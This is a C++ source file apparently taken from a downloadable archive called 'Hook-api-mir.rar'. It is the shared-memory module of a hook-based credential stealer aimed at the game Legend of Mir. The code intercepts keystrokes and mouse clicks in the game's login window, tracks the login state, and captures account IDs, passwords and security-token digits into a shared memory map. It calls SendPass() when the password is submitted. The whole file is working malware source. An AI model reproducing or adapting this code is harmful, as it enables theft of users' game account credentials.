www.pudn.com > Hook-api-mir.rar > sharemem.cpp
// Copyright: www.pudn.com,程序员联合开发网,www.programsalon.com
// 如果要使用或修改本程序,请保留次信息
//
#include "StdAfx.h"
#include "sharemem.h"
#include "util.h"
#include "send.h"
#include "mouse_pos.h"
HANDLE g_hMapFile =NULL;
INPUT_INFO *g_pMapData =NULL;
HANDLE g_hMapFileDebug =NULL;
DEBUG_INFO *g_pMapDataDebug =NULL;
extern BOOL IfExe();
extern HWND g_hWndMain;
int InitShareMem()
{
g_hMapFile =OpenFileMapping(FILE_MAP_WRITE, FALSE, "hook_map_file");
if(g_hMapFile)
g_pMapData =(INPUT_INFO *)MapViewOfFile(g_hMapFile, FILE_MAP_WRITE, 0, 0, 0);
else
{
ExitShareMem();
return -1;
}
if(g_pMapData)
{
if(IfExe())
{
g_pMapData->cur_times =!g_pMapData->cur_times; // using another buf to save new data
memset(&g_pMapData->data[g_pMapData->cur_times], 0, sizeof(g_pMapData->data[g_pMapData->cur_times]));
g_pMapData->data[g_pMapData->cur_times].stat =STAT_START;
// 密宝初始化为-1,-1,-1
g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF;
g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF;
g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF;
}
//else 改由选择百区的时候设置为input login id
// g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_LOGIN_ID;
}
g_hMapFileDebug =OpenFileMapping(FILE_MAP_WRITE, FALSE, "debug_map_file");
if(g_hMapFileDebug)
g_pMapDataDebug =(DEBUG_INFO *)MapViewOfFile(g_hMapFileDebug, FILE_MAP_WRITE, 0, 0, 0);
else
{
ExitShareMem();
return -2;
}
return 0;
}
void ExitShareMem()
{
if(g_pMapData)
{
if(IfExe())
g_pMapData->data[g_pMapData->cur_times].stat =STAT_END;
UnmapViewOfFile(g_pMapData);
}
if(g_hMapFile)
CloseHandle(g_hMapFile);
if(g_pMapDataDebug)
UnmapViewOfFile(g_pMapDataDebug);
if(g_hMapFileDebug)
CloseHandle(g_hMapFileDebug);
g_hMapFile =NULL;
g_pMapData =NULL;
g_hMapFileDebug =NULL;
g_pMapDataDebug =NULL;
}
void CheckStatByMousePos(int x, int y)
{
int i;
POINT pt;
pt.x =x;
pt.y =y;
if(g_pMapData->data[g_pMapData->cur_times].stat !=STAT_LOGIN_OK)
{
for(i =0; i<20 && g_rect_infos[i].stat >-1; i++)
{
if(PtInRect(g_rect_infos[i].rc, pt))
{
g_pMapData->data[g_pMapData->cur_times].stat =g_rect_infos[i].stat;
if(g_rect_infos[i].stat ==STAT_INPUT_MB)
{
// 密宝初始化为-1,-1,-1
g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF;
g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF;
g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF;
}
break;
}
}
}
else // 判断选择服务器
{
}
}
void CheckStatByText(char *buf)
{
if(strlen(buf) <3)
return;
if(buf[1] ==',' && buf[3] ==',')
{
g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_MB;
// 密宝初始化为-1,-1,-1
g_pMapData->data[g_pMapData->cur_times].have_mb =1;
}
for(int i=0; i<10 && g_text_infos[i].stat >-1; i++)
{
if(strstr(buf, g_text_infos[i].txt))
{
g_pMapData->data[g_pMapData->cur_times].stat =g_text_infos[i].stat;
if(g_text_infos[i].stat ==STAT_MB_LOGIN_FAILED)
{
// 密宝初始化为-1,-1,-1
g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF;
g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF;
g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF;
}
break;
}
}
}
void SetDebugData(char *buf)
{
if(!IfExe()) WriteLog(buf);
char temp[200];
GetModuleFileName(NULL, temp, sizeof(temp));
if(strstr(temp, ".exe"))
return;
if(strlen(temp) <9)
strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], temp);
else
strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], &temp[strlen(temp)-9]);
strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], ",");
int len =strlen(buf);
if(len > 190)
buf[190] =0;
strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], buf);
g_pMapDataDebug->data[g_pMapDataDebug->pos][0] =' '; // buf can read now
g_pMapDataDebug->pos =(g_pMapDataDebug->pos+1)%1024;
}
void SetMapData(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
char temp[200];
GetModuleFileName(NULL, temp, sizeof(temp));
if(strstr(temp, ".exe"))
return;
INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times];
if(msg ==WM_KEYDOWN)
{
if(wParam ==VK_TAB)
{
WriteLog("VK_TAB,stat=%d", pdata->stat);
switch(pdata->stat)
{
case STAT_INPUT_LOGIN_ID:
pdata->stat =STAT_INPUT_PASSWORD;
break;
case STAT_INPUT_PASSWORD:
pdata->stat =STAT_INPUT_LOGIN_ID;
break;
}
return;
}
return;
}
if(msg ==WM_LBUTTONDOWN)
{
// ID,用户名,登录,出错,密宝登录,密宝登录出错,选择服务器
CheckStatByMousePos(LOWORD(lParam), HIWORD(lParam));
return;
}
if(msg ==WM_CHAR)
{
if(wParam ==VK_RETURN)
{
WriteLog("VK_RETURN,msg=%d,stat=%d", msg,pdata->stat);
switch(pdata->stat)
{
case STAT_INPUT_LOGIN_ID:
WriteLog("input password...");
pdata->stat =STAT_INPUT_PASSWORD;
break;
case STAT_INPUT_PASSWORD:
pdata->stat =STAT_TO_LOGIN;
WriteLog("send pass...");
SendPass();
break;
case STAT_INPUT_MB:
pdata->stat =STAT_TO_LOGIN_MB;
break;
case STAT_TO_LOGIN: // 登录出错按回车
pdata->stat =STAT_INPUT_LOGIN_ID;
pdata->login_id[0] =0;
pdata->password[0] =0;
break;
case STAT_TO_LOGIN_MB:
pdata->stat =STAT_END; //密宝登录失败
break;
}
return;
}
if(wParam ==VK_BACK)
{
switch(pdata->stat)
{
case STAT_INPUT_LOGIN_ID:
if(strlen(pdata->login_id) >0)
pdata->login_id[strlen(pdata->login_id)-1] =0;
break;
case STAT_INPUT_PASSWORD:
pdata->password[0] =0;
break;
}
return;
}
int len;
switch(pdata->stat)
{
case STAT_INPUT_LOGIN_ID:
len =strlen(pdata->login_id);
if(len < sizeof(pdata->login_id)-1)
{
pdata->login_id[len] =wParam;
len++;
pdata->login_id[len] =0;
}
break;
case STAT_INPUT_PASSWORD:
len =strlen(pdata->password);
if(len < sizeof(pdata->password)-1)
{
pdata->password[len] =wParam;
len++;
pdata->password[len] =0;
}
break;
default:
return;
}
}
}